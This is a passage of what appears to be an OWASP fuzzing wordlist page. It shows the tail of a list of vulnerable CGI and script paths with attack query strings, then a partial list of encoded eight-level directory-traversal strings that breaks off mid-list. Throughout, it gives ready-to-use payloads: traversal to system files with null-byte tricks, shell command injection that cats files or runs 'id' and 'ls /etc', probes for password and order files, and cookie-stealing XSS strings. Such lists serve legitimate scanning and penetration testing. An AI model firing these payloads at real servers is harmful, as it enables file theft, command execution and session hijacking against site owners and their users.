mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> 